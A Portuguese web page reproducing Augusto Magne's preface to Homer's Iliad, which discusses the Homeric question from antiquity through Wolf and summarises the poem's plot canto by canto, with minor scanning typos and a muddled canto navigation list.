Prefácio a Ilíada de Homero

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Ílíada de Homero
Resumo e apresentação da Ilíada
Prefácio a Ilíada de Homero
Canto I
Canto II
Canto III
Canto IV
Canto V
Canto VI
Canto VII
Canto VIII
Canto IX
Canto X
Canto XI
Canto XII
Canto III
Canto XIV
Canto XV
Canto XVI
Canto XVII
Canto XVIII
Canto XIX
Canto XX
Canto XXI
Canto XXII
Canto XXIII
Canto XIV
Canto XV
Canto XVI
Canto XVII
Canto XVIII
Canto XIX
Canto XX
Canto XXI
Canto XXII
Canto XXIII
Canto XXIV

Prefácio a Ilíada

Por Augusto Magne. Fonte: Clássicos Jackson.

A PESSOA de Homero está para sempre imersa nas trevas
impenetráveis da lenda. Ignoramos quando viveu; não sabemos que terra
privilegiada lhe ouviu os primeiros vagidos. Apenas nos conta que várias
cidades da Iónia — e outras ainda — disputavam entre si honra tão subida. Uma
tradição mais per­sistente e quiçá menos remota da verdade o dava como natural
de Esmirna, onde teria nascido por volta do século IX ou
VIII antes de Cristo; dizia mais que, embora natural de
Esmirna, exercera a maior parte de sua atividade na ilha próxima de Ouios,
onde, efectivamente, em tempos históricos, lhe era pres­tado culto, e que
mantinha uma escola de rapsodos chamados Homéridas, ou seja
"descendentes de Homero". Venerandas tradições representavam-no como
um velho cantor, pobre e cego que, peregrinando de terra em terra, recompensava
a quem o agasalhava com a declamação dos seus poemas. Mas este quadro é pura
fantasia a que não corresponde personalidade individual. É apenas a figura
idealizada dos rapsodos perambulantes, de que Homero era tido como protótipo.

Se da pessoa do poeta nada sabemos,
não é menos impene­trável o véu que encobre a composição dos poemas e sua
autoria. Com efeito, já entre os antigos havia profundo desacordo no tocante às
obras de que Homero teria sido autor; duvidavam se eram dele tanto a Ilíada como
a Odisséia, ou apenas um destes dois poemas; e bem assim se lhe
pertenciam ou eram de outros poetas as epopéias que integram o chamado ciclo
épico — a Tebaida, os Epígonos, os Cantos Cíprios.

Tudo isto deu origem a um grave problema, a que se costuma
dar o nome de "questão homérica", problema que deita as suas raízes
já na própria antigüidade e que tem por objeto delimitar a produção genuína de
Homero. A princípio, além dos Hinos e de poemas menores como o Margites
e a. Batracomiomaquia, eram, sem discriminação alguma, atribuídos a
Homero quase todos os poemas do ciclo
épico. Assim, por exemplo, o poeta elegíaco Calino, que viveu no século VII antes de Cristo, dava Homero como autor da Tebaida. Mas
com o despertar da crítica entre os próprios Gregos, aos poucos o cenário se
foi modificando, devido, cm especial, a influência dos sofistas e dos
historiadores iónio-áticos no século V A.C., e ao
ensino dos gra­máticos alexandrinos. Heródoto, por exemplo, atribuía ainda a
Homero a Tebaida, mas hesitava quanto aos Epígonos e aos Cantos
Cíprios.

Só no século IV, em princípio
do período alexandrino, o patrimônio de Homero ficou geralmente restringido à Ilíada
e à Odisséia, não tanto por motivos históricos quanto em virtude de
considerações estéticas: os poemas do Ciclo eram apreendidos como obra de arte
inferior e produto de inspiração diferente. Mas, dentre os gramáticos
alexandrinos, alguns, como Zenão e Helânico — impugnados, a este respeito, por
seu ilustre contem­porâneo Aristarco de Samotrácia — foram mais longe e
chegaram a negar a Homero a própria Odisséia, por este poema lhes
parecer mais recente que a Ilíada; separavam, pois, uma da outra as duas
grandes epopéias, sendo, por isso, alcunhados de "separatistas", Khorizontes.
A maior parte dos outros gramáticos, seguindo na esteira do celebérrimo
Aristarco, julgaram poder joeirar os poemas homéricos, e do elemento
fundamental, ge­nuíno, separavam acréscimos adventícios e partes de autentici­dade
controvertida, sem falar em interpolações de versos ou grupos de versos.

Reacesa nos tempos modernos, a
questão homérica tomou novo aspecto, muito mais sério, cm conseqüência de
pungente dúvida que fugira aos antigos — a dúvida relativa à própria existência
pessoal de Homero. O primeiro cm levantar a sus­peita foi o abade francês Fr.
Hedelin d’Aubignac em suas Conjecturas académiques ou dissertation
sur l’lliade,
publicadas cm 1715, mais de meio século após a morte do
autor, e eme, naquela época, passaram quase por completo despercebidas.
Seguiu-se lhe o italiano G. B. Vico em Scienza Nuova (1725) e finalmente, com mais apreciável resultado, Frederico Augusto Wolf, cujos Prolôgomena
ad Homerum
são de 1795. Todos eles, baseados cm razões históricas, filológieas
ou estéticas, sustenta­ram e tentaram demonstrar, por processos embora
diferentes, que os chamados poemas homéricos não constituem obra pessoal de determinado poeta, mas enfeixam numerosas composições
de acdos anônimos e até mesmo do próprio povo grego em seu período lendário de
gestas e heroísmo. Assim Homero foi redu­zido a mero símbolo e seu nome foi
considerado seja como simplesmente alegórico, seja, quando muito, como o nome
de um dos supostos autores primitivos, quiçá de todos o principal, seja, por
fim, como o nome do compilador definitivo de rapsó­dias tradicionais.

A
teoria era destinada a encontrar favorável acolhida nesse primeiro despertar do
romanticismo, que, na poesia de épocas obscuras e barbáricas, descobria as
manifestações da índole dos povos, a emancipação do estro popular, a geração
espontânea das grandes epopéias nacionais.

Dos
ensinamentos de Wolf surgiu toda uma escola de filólogos que desfrutaram
incontestável predomínio no século XIX. Estes desagregaram em mil
maneiras a unidade quer da Ilíada, quer da Odisséia, dominados
pela obsessão de discriminar a contri­buição parcial de cada um desses
inumeráveis cantores e recons­tituir os poemas primitivos — esses poemas que,
segundo o conceito predominante na corrente filológica do tempo, um compilador
qualquer, talvez chamado Homero, teria simples­mente amalgamado em um todo
artificial.

Hoje, vão-se
desvanecendo aos poucos as teorias de Wolf; em geral, não por acrisia, mas por
nova atitude crítica, refletida e consciente, volta-se a admitir a unidade
fundamental dos dois poemas que, vistos à luz de sua inspiração poética e em
sua coerência artística e espiritual, não podem resultar da fusão mais ou menos
feliz de poemas diversos. Que nos poemas homéricos como em todos os poemas
hajam confluído materiais preexistentes, que neles, por exemplo, estejam
elaboradas as breves e vetustas canções eólicas que se nos deparam na fase
evolutiva inicial da epopéia, a ninguém deverá fazer estranheza; mas este
material pressuposto nada tira ao valor criativo daquele que efetivamente
compôs quer a Ilíada, quer a Odisséia em sua forma atual. Em obra
de arte, fator essencial é a "forma", cunho privativo e
insubstituível do gênio. A pesquisa das fontes, se é legítima e até mesmo
oportuna, não deve exorbitar da própria esfera.

Igualmente,
torna-se a acreditar na existência de Homero considerado não já como simples
rapsodo, como cantor apenas de
um episódio, como autor do núcleo originário de uma das epopéias ou de ambas,
senão como o poeta genial que criou aquele todo unitário. Está hoje em plena
decadência o conceito romântico da poesia nascida do povo — conceito de que, ou
consciente ou inconscientemente, manava toda a crítica desagre-gadora de
Homero. Já não se admite que uma obra de arte possa ser criação colectiva de um
povo e possa derivar de outra fonte que não seja uma determinada
individualidade artística. Ora esta individualidade se manifesta sem dúvida
alguma tanto na Ilíada como na Odisséia. Questão
diferente — secundária — é a de saber se é um e o mesmo o autor de ambos os poemas.
Nem tão pouco nos assiste direito algum de lhe tirarmos o nome de Homero, que
lhe atribui a antigüidade. De sua pessoa, nada . nos refere a história, que em
seu tempo não existia; nada nos diz o próprio poeta, todo absorto na
contemplação mística que ele reanima ante nossos olhos com objetividade
perfeita. Sua existência, em todo caso, não será anterior ao século IX-VIII
A.C., É autor da Ilíada, e talvez da Odisséia que, no caso
negativo, deverá ser considerada a mais feliz criação da escola fundada pelo
sumo poeta, cujos discípulos, os Homéridas, seguindo-lhe as pegadas imortais,
urdiram a rede complexa do ciclo épico da lónia antiga.

Tanto a Ilíada como a Odisséia constam
de vinte e quatro livros ou cantos. Esta divisão, conquanto não primitiva,
talvez seja anterior aos gramáticos  alexandrinos,  a que  se costuma

atribuir.

*    *    *

A llíada é a epopéia da
conquista de Ilio, nome com que, na mais remota antigüidade, era
designada a cidade de Tróia.

Em poucas linhas, é o seguinte seu entrecho.

Causa da guerra foi, segundo a lenda, o
Cacto de Paris, filho de Príamo, rei de Tróia, haver raptado a jovem Helena,
esposa do príncipe grego Menelau. ]á corria o décimo ano da guerra, quando se
produz violento dissídio, nos arraiais helênicos, entre o jovem chefe tessálico
Aquiles e o poderoso rei de Argos, Agamémnon, comandante supremo de todos os
Helenos ou Aqueus confederados para conquistar ílio. Agamémnon rapta a Aquiles
a jovem cativa Briseida, que lhe fora dada em prêmio de seu valor e à qual
dedicava profundo afecto. Aquiles, domi­nado da mais
violenta indignação, declara que, dora em diante, tanto ele como seus valentes
guerreiros Mirmidões hão-de desistir da luta, enquanto a mãe dele, a deusa
marinha Tétis, consegue de Zeus, supremo regedor dos homens e dos numes, a
promessa de que fará pagar caro a afronta feita ao herói. Com efeito,
Agamémnon, enganado por sonho falaz de Zeus, se apronta para desfechar sem
Aquiles o ataque decisivo. Antes de tudo, tenta, pouco oportunamente, as
disposições do exército, onde, por pouco, alastra a revolta, sofreada graças a
Ulisses, que fustiga o insolente e rebelde Tersites e lembra o oráculo dado por
Calças em Aulis, segundo o qual Tróia devia cair após dez anos de sítio.
Abalando os dois exércitos adversos para o campo da luta, Heitor, herói
principal dos Troianos, propõe que a sorte da guerra seja decidida mediante um
duelo entre seu irmão, o formoso Paris, raptor de Helena, e o rei de Esparta e
irmão de Amémnon, Menelau, que, para reaver a esposa, coligara contra a Ásia
todas as forças da Grécia. Neste imponente cenário, aparece o venerando rei de
Tróia, Príamo que, ladeado dos filhos Heitor e Paris e da própria Helena,
contempla do alto de uma torre o exército grego e cada um de seus chefes, apon­tados
por Helena. O duelo, no entanto, não leva ao desempate operado porque Paris, no
momento de sucumbir, é arrebatado, envolto em nuvem, por sua protetora Afrodite
e um frecheiro aliado dos Troianos, Pândaro, fere traiçoeiro a Menelau com uma
frecha. Então se desencadeia furiosa batalha (cantos V-VII). Sente-se que os
Troianos, culpados de traição, devem levar a pior. Estão para vencer os Aqueus,
dentre os quais especialmente Diomedes, amparado por Atena, faz prodígios,
chegando mesmo a ferir Afrodite e Ares, protectora de Tróia. Heitor corre por
um instante à cidade para ordenar à sua mãe Hécuba s às demais mulheres que
tentem com preces aplacar a adversa Atena, e, junto às portas Ceias, se
encontra com sua mulher Andrómaca e o filhinho Astíanax — encontro comovedor
todo impregnado de trágicos presságios: sente-se que o herói deve sucumbir, que
a sorte de Tróia está selada. Voltando ao campo da luta, Heitor suspende as
hostilidades, desafiando a combate singular os heróis gregos. Ájax é escolhido.
Mas tão pouco este duelo é decisivo, porque, antes de ele terminar, sobrevém a
noite e é concluído um armistício. Os Aqueus aproveitam-se dele para sepultar
os seus mortos e erguer um baluarte ao redor das .  tendas.   E logo, de
súbito, ao romper da aurora, reacende-se nova batalha, que dura o dia todo
(canto VIII) e termina desastradamente para os Aqueus,
pois, desamparados de suas divindades, têm que acolher-se ao baluarte. Os
Troianos, de tarde, acampam, ameaçadores, a pouca distância na planura. Assim,
por entre vicissitudes, vem-se cumprindo a promessa de Zeus; os Aqueus são
castigados da ofensa feita a Aquiles.

E assim termina o que se pode
considerar a primeira parte do poema, que abrange os cantos I-VIII, ou seja exatamente
um terço da epopéia.

Durante a noite, Agamémnon é tomado de remorso e, sem
esperar pela aurora, a conselho de Nestor, manda a Aquiles uma embaixada
composta de Ulisses, Ajax e o velho Eénix. Mas Aquiles é inexorável. Durante a
noite ainda, dois dos principais guerreiros gregos, Diomedes e Ulisses, para
mostrar que a cora­gem não desapareceu nos arraiais helênicos, tentam uma incur­são
no acampamento troiano. Em seguida, pela manhã, reacen­de-se a batalha mais
longa e luriosa do que nunca. É a terceira batalha da Ilíada, que,
através muitas peripécias, enche os cantos XI-XVIII. Os Aqueus, postos em fuga
e perdido seu baluarte, recebem inesperado auxílio do deus marinho Posídon e da
consorte de Zeus, Hera, que, com astúcia feminina, consegue adormentar no monte
Ida, o divino esposo. Mas logo este, acordando, restitui a vitória aos
Troianos, que já se precipitam para os navios inimigos, a atear-lhes fogo. Na
iminência do perigo, Aquiles, implorado, entrega as próprias armas ao amigo
Pátroclo, permitindo-lhe que, revestido com elas, desça ao campo á testa dos
Mirmidões. E Pátroclo acorre e acossa os Troianos, perseguindo-os — contra a
proibição de Aquiles — até às mu­ralhas de Tróia, onde é morto de uma lançada
desferida por Heitor. Em torno do cadáver, acende-se viva luta; as armas
invencíveis são conquistadas por Heitor, mas Ajax arranca o cadáver aos
inimigos e o leva às tendas. Então solta terríveis bramidos 0 desespero de
Aquiles, que, sem armas, ao cair da noite, com seu grito possante, afugenta os
Troianos.

E aqui termina a segunda parte do poema,
de extensão pouco mais ou menos igual à primeira, e que abrange os cantos
IX-XVIII.

Na terceira e última parte (cantos
XIX-XXIVI), narra-se a volta de Aquiles ao combate e a vingança que ele toma do
matador de seu amigo Pátroclo. Provido de novas armas, fabricadas por Hefesto a
pedido de Tétis, reconciliado com Aga-mémnon, que lhe restitui Briseida, o
valoroso guerreiro se atira à frente dos mais. Fere-se a quarta e definitiva
batalha do poema (cantos XX-XXII), na qual. por expresso consentimento de Zeus,
tomam livremente parte céu e terra, homens e deuíes. Aquiles vence a Eneias,
trucida muitos dos inimigos, aferrolha a fúria do rio Escamandro e chega às
portas de Ílio, onde o próprio Heitor, tomado de terror invencível, deita a
fugir em corrida desabalada, acossado por Aquiles. No encalço, os dois
guerreiros dão várias vezes a volta da cidade e por fim Heitor, condenado pela
Fatalidade, pára, e, em combate singular, é morto ante os olhos dos seus. Do
alto das muralhas de Ílio, Andrómaca vê o cadáver do marido atrozmente
arrastado pelo carro do vencedor, que, inteiramente tresloucado pela sede de
vingar a morte do amigo, celebra com jogos solenes os funerais de Pátroclo. Mas
no fim do poema, ao encerrar-se o último canto da Ilíada
— de todos o mais humano, porque, na visão lastimosa das tristes vítimas da
sanha guerreira, purifica as atrocidades das paixões belicosas — o velho Príamo
vem, de noite, pedir o cadáver do filho em termos tão comovedores que suas
palavras constituem uma obra-prima da arte oratória. Aquiles, comovido, atende
à prece do venerando ancião, e o poema termina com a narrativa confortante e
pacificadora das honras fúnebres prestadas ao herói inimigo que caiu gloriosa­mente
em defesa da pátria.

*    *   
*

Por fim, algo deveríamos dizer no tocante
à versão portuguesa da Íliada. Preferimos, no entanto, furtar-nos ao
difícil encargo. Toda obra-prima de qualquer literatura é constituída pelo
consórcio indissolúvel da idéia com a expressão verbal que a reveste. Não se
traduz. Quando muito, será possível substituir uma obra-prima por outra de
valor idêntico ou, quiçá, mesmo superior, No caso de Homero mais que em
qualquer, traduttore há-de ser, fatalmente, traditore. Por isso
contentamo-nos com augurar que a presente tradução portuguesa da Íliada desperte
ca espíritos de escol o desejo de se habilitarem a apreciar no próprio  texto
os versos  intraduzíveis do  imortal  cantor  da Hélade.

Augusto
Magne

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